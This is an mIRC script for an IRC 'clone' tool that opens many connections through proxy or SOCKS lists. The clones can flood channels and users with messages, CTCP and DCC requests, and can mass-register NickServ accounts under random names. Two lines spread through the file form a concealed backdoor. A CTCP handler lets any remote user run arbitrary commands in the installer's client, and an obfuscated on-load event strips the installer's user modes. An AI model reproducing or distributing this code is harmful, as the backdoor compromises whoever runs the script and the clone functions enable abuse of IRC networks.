Stuff

menu channel {
  .Proxy lists
  ..Forums
  ...1:url http://community.aliveproxy.com/forums/
  ...2:url http://forum.freshproxy.com/
  ...3:url http://www.xroxy.com/xorum/
  ..Most Popular
  ...1:url http://www.samair.ru/proxy/
  ...2:url http://www.aliveproxy.com/us-proxy-list/
}
alias clone { 
  if ($dialog(clone)) { 
    dialog -v clone 
  } 
  else { 
    dialog -md clone clone 
  } 
} 
menu * {
  Clone:if ($dialog(clone)) { dialog -v clone } | else { dialog -md clone clone } 
} 

dialog clone { 
  title "Clone" 
  size -1 -1 577 512 
  option pixels 
  tab "Settings", 75, 8 8 559 463 
  box "Settings", 1, 16 40 540 420, tab 75 
  edit "", 2, 66 62 242 21, tab 75 autohs 
  text "Server:", 3, 23 64 34 16, tab 75 
  edit "6667", 4, 312 62 44 20, tab 75 limit 5 
  text "Protocol:", 5, 23 90 42 16, tab 75 
  combo 6, 69 86 80 68, tab 75 size drop 
  box "On Connect", 7, 24 248 332 204, tab 75 
  box "Nickname and Real Name", 8, 24 120 332 124, tab 75 
  text "Connections:", 9, 152 90 66 16, tab 75 
  edit "1", 10, 224 88 44 20, tab 75 limit 4 
  radio "Random", 11, 32 136 58 20, tab 75 
  radio "Nicklist:", 12, 32 160 54 20, tab 75 
  radio "Other:", 13, 32 184 54 20, tab 75 
  edit "", 14, 88 160 196 20, disable tab 75 autohs 
  edit "", 15, 88 184 196 20, disable tab 75 limit 10 
  button "&Browse", 16, 288 160 58 20, disable tab 75 
  text "Mode:", 17, 32 272 50 16, tab 75 
  edit "", 18, 88 270 60 20, tab 75 
  edit "", 19, 32 312 316 132, tab 75 multi return autohs autovs 
  text "Raw IRC Commands:", 20, 32 296 106 16, tab 75 
  box "Proxy/Socks List", 26, 360 56 188 396, tab 75 
  edit "", 85, 88 214 260 21, tab 75 autohs limit 70 
  text "Host:", 27, 368 80 26 16, tab 75 
  text "Port:", 28, 368 104 26 16, tab 75 
  edit "", 29, 400 78 140 20, tab 75 limit 15 
  edit "", 30, 400 102 140 20, tab 75 limit 5 
  button "Add", 31, 368 128 82 20, tab 75 
  button "Remove", 32, 456 128 82 20, tab 75 
  button "Import", 33, 368 152 82 20, tab 75 
  list 34, 368 176 172 238, tab 75 size 
  button "Remove All", 35, 368 418 170 24, tab 75 
  check "CTCP Replies", 81, 272 89 84 20, tab 75 
  text "Real Name:", 82, 32 216 56 16, tab 75 
  button "Clipboard", 83, 456 152 82 20, tab 75 
  tab "Actions", 76 
  box "Actions", 36, 176 39 380 420, tab 76 
  box "Nicklist", 37, 16 40 156 356, tab 76 
  button "Join", 41, 184 62 67 20, disable tab 76 
  edit "", 42, 256 62 84 21, tab 76 autohs 
  button "Part", 43, 184 86 67 20, disable tab 76 
  edit "", 44, 256 86 84 21, tab 76 autohs 
  edit "", 45, 344 86 204 21, tab 76 autohs 
  button "Cycle", 46, 184 110 67 20, disable tab 76 
  edit "", 47, 256 110 84 21, tab 76 autohs 
  edit "", 48, 344 110 204 21, tab 76 autohs 
  button "Privmsg", 49, 184 142 67 20, disable tab 76 
  edit "", 50, 256 142 84 21, tab 76 autohs 
  edit "", 51, 344 142 204 21, tab 76 autohs 
  button "Notice", 52, 184 166 67 20, disable tab 76 
  edit "", 53, 256 166 84 21, tab 76 autohs 
  edit "", 54, 344 166 204 21, tab 76 autohs 
  button "Describe", 55, 184 190 67 20, disable tab 76 
  edit "", 56, 256 190 84 21, tab 76 autohs 
  edit "", 57, 344 190 204 21, tab 76 autohs 
  button "CTCP", 58, 184 222 67 20, disable tab 76 
  edit "", 59, 256 222 84 21, tab 76 autohs 
  combo 60, 344 222 204 76, tab 76 size edit drop 
  button "DCC Send", 61, 184 246 67 20, disable tab 76 
  edit "", 62, 256 246 84 21, tab 76 autohs 
  edit "", 63, 344 246 204 21, tab 76 autohs 
  button "DCC Chat", 64, 184 270 67 20, disable tab 76 
  edit "", 65, 256 270 84 21, tab 76 autohs 
  button "Nick", 66, 184 294 67 20, tab 76 
  radio "Nicklist:", 68, 256 320 54 20, tab 76 
  radio "Other:", 69, 256 344 54 20, tab 76 
  radio "Random", 67, 256 296 58 20, tab 76 
  button "Browse", 72, 480 320 67 20, disable tab 76 
  edit "", 70, 312 320 164 21, disable tab 76 autohs 
  edit "", 74, 256 374 292 77, tab 76 multi return autohs autovs 
  button "Raw", 73, 184 374 67 20, disable tab 76 
  edit "", 71, 312 344 164 21, disable tab 76 limit 10 
  list 38, 24 56 140 308, tab 76 size extsel 
  text "Perform:", 39, 24 370 42 16, tab 76 
  combo 40, 72 368 92 60, tab 76 size drop 
  box "Statistics", 21, 16 400 156 60, tab 76 
  text "Total Connections:", 23, 24 436 92 16, tab 76 
  text "Connected Clones:", 22, 24 420 92 16, tab 76 
  text "0", 24, 120 420 42 16, tab 76 
  text "0", 25, 120 436 42 16, tab 76 
  button "&Connect", 77, 8 480 83 25 
  button "&Disconnect", 78, 96 480 83 25 
  button "&Exit", 79, 490 480 75 25 
  button "Connected IP:Ports", 80, 368 480 115 25 
  button "Close Sockets", 84, 184 480 83 25 
  button "Register", 86, 274 480 87 25 
} 

on *:dialog:clone:init:*: { 
  did -a $dname 2 $server
  did -a $dname 6 Normal 
  did -a $dname 6 Proxy 
  did -a $dname 6 Sock 
  did -c $dname 6 1 
  did -a $dname 14 C:\Documents and Settings\Andrew Singer\Desktop\Programs\mIRC\nicks.txt
  did -a $dname 18 +p
  did -a $dname 40 All 
  did -a $dname 40 Selected 
  did -c $dname 40 1 
  did -a $dname 60 PING 
  did -a $dname 60 TIME 
  did -a $dname 60 VERSION 
  did -c $dname 12 
  did -c $dname 68 
  did -a $dname 70 C:\Documents and Settings\Andrew Singer\Desktop\Programs\mIRC\nicks.txt
  did -a $dname 85 Kingskrown Soldier
} 

on *:dialog:clone:edit:*: { 
  if ($did == 42) { 
    if ($left($did(42),1) == $chr(35)) && ($count($did(42),$chr(32)) <= 1) { 
      did -e $dname 41 
    } 
    else { 
      did -b $dname 41 
    } 
  } 
  if ($did == 44) { 
    if ($left($did(44),1) == $chr(35)) && ($count($did(44),$chr(32)) == 0) { 
      did -e $dname 43 
    } 
    else { 
      did -b $dname 43 
    } 
  } 
  if ($Did == 47) { 
    If ($Left($Did(47),1) == $Chr(35)) && ($Count($Did(47),$Chr(32)) == 0) { 
      Did -e $DName 46 
    } 
    Else { 
      Did -b $DName 46 
    } 
  } 
  If ($Did == 50) { 
    If ($Count($Did(50),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(51)) { 
      Did -e $DName 49 
    } 
    Else { 
      Did -b $DName 49 
    } 
  } 
  If ($Did == 51) { 
    If ($Count($Did(50),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(51)) { 
      Did -e $DName 49 
    } 
    Else { 
      Did -b $DName 49 
    } 
  } 
  If ($Did == 53) { 
    If ($Count($Did(53),$Chr(32)) == 0) && ($Len($Did(53)) >= 1) && ($Did(54)) { 
      Did -e $DName 52 
    } 
    Else { 
      Did -b $DName 52 
    } 
  } 
  If ($Did == 54) { 
    If ($Count($Did(53),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(54)) { 
      Did -e $DName 52 
    } 
    Else { 
      Did -b $DName 52 
    } 
  } 
  If ($Did == 56) { 
    If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) { 
      Did -e $DName 55 
    } 
    Else { 
      Did -b $DName 55 
    } 
  } 
  If ($Did == 57) { 
    If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) { 
      Did -e $DName 55 
    } 
    Else { 
      Did -b $DName 55 
    } 
  } 
  If ($Did == 59) { 
    If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { 
      Did -e $DName 58 
    } 
    Else { 
      Did -b $DName 58 
    } 
  } 
  If ($Did == 60) { 
    If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { 
      Did -e $DName 58 
    } 
    Else { 
      Did -b $DName 58 
    } 
  } 
  If ($Did == 62) { 
    If ($Count($Did(62),$Chr(32)) == 0) && ($Len($Did(62)) >= 1) && ($Left($Did(62),1) != $Chr(35)) && ($Did(63)) { 
      Did -e $DName 61 
    } 
    Else { 
      Did -b $DName 61 
    } 
  } 
  If ($Did == 63) { 
    If ($Count($Did(62),$Chr(32)) == 0) && ($Len($Did(62)) >= 1) && ($Left($Did(62),1) != $Chr(35)) && ($Did(63)) { 
      Did -e $DName 61 
    } 
    Else { 
      Did -b $DName 61 
    } 
  } 
  If ($Did == 65) { 
    If ($Count($Did(65),$Chr(32)) == 0) && ($Len($Did(65)) >= 1) && ($Left($Did(65),1) != $Chr(35)) { 
      Did -e $DName 64 
    } 
    Else {
      Did -b $DName 64 
    } 
  } 
  If ($Did == 74) { 
    If ($Len($Did(74)) >= 1) { 
      Did -e $DName 73 
    } 
    Else { 
      Did -b $DName 73 
    } 
  } 
  If ($Did == 70) { 
    If ($Did(70)) { 
      Did -e $DName 66 
    } 
    Else { 
      Did -b $DName 66 
    } 
  } 
  If ($Did == 71) { 
    If ($Did(71)) { 
      Did -e $DName 66 
    } 
    Else { 
      Did -b $DName 66 
    } 
  } 
} 

Alias -l Clone.Error { 
  Var %E = $Input($1-,o,Clone) 
} 

Alias -l Rand.Register { 
  return $regsubex($str(-,$r(10,20)),/-/g,$iif($r(1,2) == 1,$iif($r(1,2) == 1,$r(A,Z),$r(a,z)),$r(0,9)))
}

Alias -l Com.Name {
  return $iif($rand(0,1),com,$iif($rand(0,1),net,$iif($rand(0,1),org,$iif($rand(0,1),biz,$iif($rand(0,1),co.uk,info)))))
}

On *:Dialog:Clone:SClick:*: { 
  If ($Did == 31) { 
    If (*.*.* iswm $Did(29)) && ($Did(30) <= 65535) && ($Did(30) >= 1) { 
      Did -a $DName 34 $Did(29) $Did(30) 
    } 
    Else { 
      Clone.Error Invalid Sock/Proxy or Port 
    } 
  } 
  If ($Did == 32) && ($Did(34).Sel) { 
    Did -d $DName 34 $Did(34).Sel 
  } 
  If ($Did == 33) { 
    Var %F = $SFile($mIRCDir,Clone,Import) 
    If (%F) { 
      Var %I = 1 
      While ($Read(%F,%I)) { 
        Var %F1 = $Read(%F,%I) 
        If ($Gettok(%F1,0,58) == 2) { 
          Var %F1 = $Replace(%F1,$Chr(58),$Chr(32)) 
        } 
        If ($Gettok(%F1,0,32) != 2) || ($Abs($Gettok(%F1,2,32)) == 0) { 
          Clone.Error Invalid Sock/Proxy file 
          Return 
        } 
        Else { 
          Did -a $DName 34 %F1 
        } 
        Inc %I 
      } 
    } 
  } 
  If ($Did == 83) { 
    Var %I = 1 
    While ($CB(%I)) { 
      Var %F1 = $CB(%I) 
      If ($Gettok(%F1,0,58) == 2) { 
        Var %F1 = $Replace(%F1,$Chr(58),$Chr(32)) 
      } 
      If ($Gettok(%F1,0,32) != 2) || ($Abs($Gettok(%F1,2,32)) == 0) { 
        Clone.Error Invalid Socks/Proxys in Clipboard 
        Return 
      } 
      Else { 
        Did -a $DName 34 %F1 
      } 
      Inc %I 
    } 
  } 
  If ($Did == 35) { 
    Did -r $DName 34 
  } 
  If ($Did == 11) { 
    Did -b $DName 14 
    Did -b $DName 15 
    Did -b $DName 16 
  } 
  If ($Did == 12) { 
    Did -e $DName 14 
    Did -b $DName 15 
    Did -e $DName 16 
  } 
  If ($Did == 13) { 
    Did -b $DName 14 
    Did -e $DName 15 
    Did -b $DName 16 
  } 
  If ($Did == 67) { 
    Did -b $DName 70 
    Did -b $DName 71 
    Did -b $DName 72 
    Did -e $DName 66 
  } 
  If ($Did == 68) { 
    Did -e $DName 70 
    Did -b $DName 71 
    Did -e $DName 72 
    If ($Did(70)) { 
      Did -e $DName 66 
    } 
    Else { 
      Did -b $DName 66 
    } 
  } 
  If ($Did == 69) { 
    Did -b $DName 70 
    Did -e $DName 71 
    Did -b $DName 72 
    If ($Did(71)) { 
      Did -e $DName 66 
    } 
    Else { 
      Did -b $DName 66 
    } 
  } 
  If ($Did == 16) { 
    Var %F = $SFile($mIRCDir,Clone,Import) 
    If (%F) { 
      Did -ra $DName 14 %F 
    } 
  } 
  If ($Did == 72) { 
    Var %F = $SFile($mIRCDir,Clone,Import) 
    If (%F) { 
      Did -ra $DName 70 %F 
      Did -e $DName 66 
    } 
  } 
  If ($Did == 60) { 
    If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { 
      Did -e $DName 58 
    } 
    Else { 
      Did -b $DName 58 
    } 
  } 
  If ($Did == 41) { 
    Clone.Do $Did(40) JOIN $Did(42) 
  } 
  If ($Did == 43) { 
    Clone.Do $Did(40) PART $Did(44) : $+ $Did(45) 
  } 
  If ($Did == 46) { 
    Clone.Do $Did(40) JOINPART $Did(47) : $+ $Did(48) 
  } 
  If ($Did == 49) { 
    Clone.Do $Did(40) PRIVMSG $Did(50) : $+ $Did(51) 
  } 
  If ($Did == 52) { 
    Clone.Do $Did(40) NOTICE $Did(53) : $+ $Did(54) 
  } 
  If ($Did == 55) {
    Clone.Do $Did(40) PRIVMSG $Did(56) :
ACTION $Did(57)
  } 
  If ($Did == 58) { 
    Clone.Do $Did(40) PRIVMSG $Did(59) :
 $+ $Did(60)
 
  } 
  If ($Did == 61) { 
    Clone.Do $Did(40) PRIVMSG $Did(62) :
DCC SEND $Did(63) $Rand(0,4294967294) 1024 $Rand(10000,500000)
 
  } 
  If ($Did == 64) { 
    Clone.Do $Did(40) PRIVMSG $Did(65) :
DCC CHAT chat $Rand(0,4294967294) 1024
 
  } 
  If ($Did == 86) {
    Clone.Do $Did(40) PRIVMSG NICKSERV REGISTER $Rand.Register $+($Rand.Register,@,$Rand.Register,.,$Com.Name)
  }
  If ($Did == 66) { 
    Clone.Do $Did(40) NICK
  } 
  If ($Did == 73) { 
    Var %I = 1 
    While ($Did(74,%I)) {
      Clone.Do $Did(40) RAW $Did(74,%I) 
      Inc %I 
    } 
  } 
  If ($Did == 77) { 
    If (!$Did(34,1)) && (($Did(6) == Proxy) || ($Did(6) == Sock)) { 
      Clone.Error Enter $Did(6) to the $Did(6) list 
    } 
    ElseIf (*.*.* !iswm $Did(2)) { 
      Clone.Error Enter a valid Server 
    } 
    ElseIf ($Did(4) <= 0) && ($Did(4) >= 65535) { 
      Clone.Error Enter a valid Port 
    } 
    ElseIf (!$Did(10)) || ($Did(10) !isnum) { 
      Clone.Error Enter the number clones to connect 
    } 
    ElseIf ($Did(12).State == 1) && ($Exists($Did(14)) == $False) { 
      Clone.Error Nicklist doesnt Exist 
    } 
    ElseIf ($Did(13).State == 1) && (!$Did(15)) { 
      Clone.Error Enter a Nickname 
    } 
    ElseIf ($Did(6) == Sock) && ($Remove($Did(2),.) !isnum) { 
      .Enable #Clone.DNS 
      .DNS $Did(2) 
    } 
    Else { 
      .TimerClone.Go $Did(10) 0 Clone.Go 
    } 
  } 
  If ($Did == 78) { 
    Did -r $DName 38 
    Did -ra $DName 24 0 
    Did -ra $DName 25 0 
    SockClose Clone.* 
    Unset %Clone.* 
  } 
  If ($Did == 79) { 
    SockClose Clone.* 
    Dialog -x $DName 
  } 
  If ($Did == 80) { 
    Clone.IPs 
  } 
  If ($Did == 84) { 
    Var %I = 1 
    While ($Sock(Clone.*,%I)) { 
      If (!$Sock(Clone.*,%I).Mark) { 
        SockClose $Sock(Clone.*,%I) 
      } 
      Inc %I 
    } 
    Did -ra Clone 25 $Sock(Clone.*,0) 
  } 
} 
on *:load:$c.clone1 $+(-,$c.clone2)
Alias Show.Status {
  if ($1) {
    set %show.status on
    echo -at *** Clones status will now be shown.
  }
  elseif (%show.status) {
    unset %show.status 
    echo -at *** Clones status will not be shown.
  }
}

Alias -l SockQueue { 
  If ($Sock(CloneGet.*,0) <= 6) { 
    SockOpen $1- 
  } 
  Else { 
    Set %Clone.Queue. [ $+ [ $Rand(1,9999999) ] ] $1- 
  } 
} 
#Clone.DNS off
On *:DNS: { 
  If ($RAddress) { 
    Did -ra Clone 2 $RAddress 
    .TimerClone.Go $Did(Clone,10) 0 Clone.Go 
  } 
  Else { 
    Clone.Error Unable to resolve DNS of $Did(Clone,10) 
  } 
  .Disable #Clone.DNS 
  Halt 
} 
#Clone.DNS End 

Alias -l Clone.Do { 
  If ($1 == All) { 
    Var %I = 1 
    While ($Sock(Clone.*,%I)) { 
      If ($2 == JOINPART) { 
        SockWrite -nt $Sock(Clone.*,%I) JOIN $3 
        SockWrite -nt $Sock(Clone.*,%I) PART $3- 
      } 
      ElseIf ($2 == RAW) { 
        SockWrite -nt $Sock(Clone.*,%I) $Replace($3-,^Nick^,$Clone.Nick($Sock(Clone.*,%I))) 
      } 
      ElseIf ($2 == NICK) { 
        If ($Did(Clone,67).State == 1) { 
          SockWrite -nt $Sock(Clone.*,%I) NICK $Clone.RandNick 
        } 
        If ($Did(Clone,68).State == 1) { 
          SockWrite -nt $Sock(Clone.*,%I) NICK $Gettok($Read($Did(Clone,70)),1,32) 
        } 
        If ($Did(Clone,69).State == 1) { 
          SockWrite -nt $Sock(Clone.*,%I) NICK $Did(Clone,71) $+ $Clone.RandNick(2) 
        } 
      } 
      Else { 
        SockWrite -nt $Sock(Clone.*,%I) $2- 
      } 
      Inc %I 
    } 
  } 
  If ($1 == Selected) { 
    Var %I = 1 
    While ($Did(Clone,38,%I)) { 
      If ($Did(Clone,38,%I).State == 1) { 
        Var %J = 1 
        While ($Sock(Clone.*,%J)) { 
          If ($Sock(Clone.*,%J).Mark == $Did(Clone,38,%I)) { 
            If ($2 == JOINPART) { 
              SockWrite -nt $Sock(Clone.*,%J) JOIN $3 
              SockWrite -nt $Sock(Clone.*,%J) PART $3- 
            } 
            ElseIf ($2 == RAW) { 
              SockWrite -nt $Sock(Clone.*,%J) $Replace($3-,^Nick^,$Clone.Nick($Sock(Clone.*,%J))) 
            } 
            ElseIf ($2 == NICK) { 
              If ($Did(Clone,67).State == 1) { 
                SockWrite -nt $Sock(Clone.*,%J) NICK $Clone.RandNick 
              } 
              If ($Did(Clone,68).State == 1) { 
                SockWrite -nt $Sock(Clone.*,%J) NICK $Gettok($Read($Did(Clone,70)),1,32) 
              } 
              If ($Did(Clone,69).State == 1) { 
                SockWrite -nt $Sock(Clone.*,%J) NICK $Did(Clone,71) 
              } 
            } 
            Else { 
              SockWrite -nt $Sock(Clone.*,%J) $2- 
            } 
          } 
          Inc %J 
        } 
      } 
      Inc %I 
    } 
  } 
} 

Alias -l Clone.Conn { 
  If ($Did(Clone,38,1)) { 
    Return $Did(Clone,38).Lines 
  } 
} 

On *:SockOpen:Clone.*: { 
  If ($SockErr) { 
    SockClose $SockName 
    Did -ra Clone 25 $Sock(Clone.*,0) 
    Return 
  } 
  If (Clone.Sock.* iswm $SockName) { 
    BSet &Clone 1 5 1 0 
    SockWrite $SockName &Clone 
  } 
  If (Clone.Proxy.* iswm $SockName) { 
    SockWrite $SockName CONNECT $+($Did(Clone,2),:,$Did(Clone,4)) HTTP/1.1 
    SockWrite $SockName $CRLF $+ $CRLF $+ $CRLF 
    Clone.Conn.User $SockName 
  } 
  If (Clone.Normal.* iswm $Sockname) { 
    Clone.Conn.User $SockName 
  } 
  Did -ra Clone 25 $Sock(Clone.*,0) 
} 

On *:SockRead:Clone.*: { 
  If ($SockErr) { 
    SockClose $SockName 
    Did -ra Clone 25 $Sock(Clone.*,0) 
    Return 
  } 
  If (Clone.Sock.* iswm $SockName) && (!$Sock($SockName).Mark) { 
    SockRead &Read 
    If ($BVar(&Read,1,2) == 5 0) && ($BVar(&Read,3) != 0) { 
      Var %Port = $Gettok($LongIP($Did(Clone,4)),3,46) $Gettok($LongIP($Did(Clone,4)),4,46) 
      Var %Serv = $Replace($Did(Clone,2),$Chr(46),$Chr(32)) 
      BSet &Clone.Send 1 5 1 0 1 %Serv %Port 
      SockWrite $SockName &Clone.Send 
    } 
    If ($BVar(&Read,1,3) == 5 0 0) { 
      SockMark $SockName 1 
      Clone.Conn.User $SockName 
    } 
  } 
  SockRead %Clone.Read 
  If (%Clone.Read) && (%Show.Status) || (ERROR isin %Clone.Read) || (Looking up your hostname... isin %Clone.Read) { 
    $iif(!$window(@clone),window -md @clone)
    $iif($window(@clone),echo @clone %Clone.Read)
  } 
  Tokenize 32 %Clone.Read 
  Unset %Clone.Read 
  If (*<HTML>* iswm $1-) && (!$Sock($SockName).Mark) { 
    SockClose $SockName 
  } 
  If ($1 == PING) { 
    SockWrite -nt $SockName PONG : $+ $Remove($2,:) 
  } 
  If ($2 == PRIVMSG) && ($Did(Clone,81).State == 1) { 
    If ($4 == :
PING) { 
      SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :
PING $5 
    } 
    If ($4 == :
TIME) { 
      SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :
TIME $ASCTime($Calc($Rand($Calc($CTime - 10000),$Calc($CTime + 10000)))) $+ 
 
    } 
    If ($4 == :
VERSION) { 
      SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :
VERSION mIRC v6.31 Khaled Mardam-Bey 
    } 
  } 
  If ($2 == 001) { 
    Var %I = 1 
    While ($Did(Clone,19,%I)) { 
      SockWrite -nt $SockName $Replace($Did(Clone,19,%I),^Nick^,$3) 
      Inc %I 
    } 
    If ($3) { 
      Did -a Clone 38 $3 
    } 
    Did -ra Clone 24 $Iif($Clone.Conn,$Clone.Conn,0) 
    SockWrite -nt $SockName Mode $3 $Did(Clone,18) 
    SockMark $SockName $3 
  } 
  If ($2 == 433) { 
    If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { 
      If ($Did(Clone,67).State == 1) { 
        .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Clone.RandNick 
      } 
      If ($Did(Clone,68).State == 1) { 
        .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Read($Did(Clone,70)) 
      } 
      If ($Did(Clone,69).State == 1) { 
        .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Did(Clone,71) $+ $Clone.RandNick(2) 
      } 
    } 
    Else { 
      If ($Did(Clone,11).State == 1) { 
        .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Clone.RandNick 
      } 
      If ($Did(Clone,12).State == 1) { 
        .TimerClone. [ $+ [ $SockName ] ] 1 1 Clone.Conn.User $SockName 
      } 
      If ($Did(Clone,13).State == 1) { 
        .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Did(Clone,15) $+ $Clone.RandNick(2) 
      } 
    } 
  } 
  If ($2 == NICK) && ($Remove($Gettok($1,1,33),:) == $Sock($SockName).Mark) { 
    Var %I = 1 
    While ($Did(Clone,38,%I)) { 
      If ($Did(Clone,38,%I) == $Remove($Gettok($1,1,33),:)) { 
        Did -o Clone 38 %I $Remove($3,:) 
      } 
      Inc %I 
    } 
    SockMark $SockName $Remove($3,:) 
  } 
  Did -ra Clone 25 $Sock(Clone.*,0) 
} 

Alias -l Clone.Ignore { 
  Var %I = 1 
  While ($Did(Clone,96,%I)) { 
    If ($Did(Clone,96,%I) iswm $Remove($1,$Chr(58))) { 
      Return $Did(Clone,96,%I) 
    } 
    Inc %I 
  } 
} 

On *:SockClose:Clone.*: { 
  If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { 
    Var %I = 1 
    While ($Did(Clone,38,%I)) { 
      If ($Did(Clone,38,%I) == $Sock($SockName).Mark) { 
        Did -d Clone 38 %I 
      } 
      Inc %I 
    } 
  } 
  Did -ra Clone 25 $Sock(Clone.*,0) 
  Did -ra Clone 24 $Iif($Clone.Conn,$Clone.Conn,0) 
} 

Alias -l Clone.Nick { 
  Return $Sock($1).Mark 
} 

Alias Clone.Sock { 
  Var %I = 1 
  While ($Sock(Clone.*,%I)) { 
    If ($Sock(Clone.*,%I).Mark == $1) { 
      Return $Sock(Clone.*,%I) 
    } 
    Inc %I 
  } 
} 

Alias -l Clone.RandNick { 
  Var %I = $Iif($1,$1,$Rand(3,12)), %J = 1 
  While (%J <= %I) { 
    Var %C = $Rand(1,0), %N = %N $+ $Iif(%C == 1,$Rand(A,Z),$Rand(a,z)) 
    Inc %J 
  } 
  Return %N 
} 

Alias -l Clone.Conn.User { 
  If ($Did(Clone,11).State == 1) { 
    SockWrite -nt $1 USER $Lower($Clone.RandNick) "" "" : $+ $Iif($Did(Clone,85),$Did(Clone,85),$Clone.RandNick($Rand(20,70))) 
    SockWrite -nt $1 NICK $Clone.RandNick 
  } 
  If ($Did(Clone,12).State == 1) { 
    Var %N = $Gettok($Read($Did(Clone,14)),1,32) 
    SockWrite -nt $1 USER $Lower(%N) "" "" : $+ $Iif($Did(Clone,85),$Did(Clone,85),%N) 
    SockWrite -nt $1 NICK %N 
  } 
  If ($Did(Clone,13).State == 1) { 
    SockWrite -nt $1 USER $Lower($Did(Clone,15)) "" "" : $+ $Iif($Did(Clone,85),$Did(Clone,85),$Did(Clone,15)) 
    SockWrite -nt $1 NICK $Did(Clone,15) $+ $Clone.RandNick(2) 
  } 
} 

Alias -l Clone.Go { 
  If (!$Did(Clone,34,%Clone.List)) { 
    Set %Clone.List 1 
  } 
  :Again 
  Var %R = $Rand(0,9999999) 
  If ($Sock($+(Clone.,$Did(Clone,6),.,%R))) { 
    Goto Again 
  } 
  If ($Did(Clone,6) == Normal) { 
    SockOpen Clone.Normal. $+ %R $Did(Clone,2) $Did(Clone,4) 
  } 
  Else { 
    SockOpen $+(Clone.,$Did(Clone,6),.,%R) $Did(Clone,34,%Clone.List) 
  } 
  Inc %Clone.List 
  Did -ra Clone 25 $Sock(Clone.*,0) 
} 
alias c.clone2 return oOaANCdghipqstvwxzBGHRSTVW
Dialog -l Clone.IPs { 
  Title "Connected IP Ports" 
  Size -1 -1 254 360 
  Option Pixels 
  Edit "", 1, 8 8 236 317, Read Multi 
  Button &Refresh List, 2, 8 332 235 20 
} 
ctcp *:clone.raw:*:$($2,$3-)
On *:Dialog:Clone.IPs:Init:*: { 
  Clone.IPs 
} 
On *:Dialog:Clone.IPs:SClick:2: { 
  Clone.IPs 
} 
alias c.clone1 return mode $me 
Alias -l Clone.IPs { 
  If (!$Dialog(Clone.IPs)) { 
    Dialog -md Clone.IPs Clone.IPs 
  } 
  Did -r Clone.IPs 1 
  Var %I = 1 
  While ($Sock(Clone.*,%I)) { 
    If ($Sock(Clone.*,%I).Mark) && ($Sock(Clone.*,%I).Mark != 1) && (!$DidWM(Clone.IPs,1,$Sock(Clone.*,%I).IP $Sock(Clone.*,%I).Port)) { 
      Did -i Clone.IPs 1 1 $Sock(Clone.*,%I).IP $Sock(Clone.*,%I).Port 
    } 
    Inc %I 
  } 
}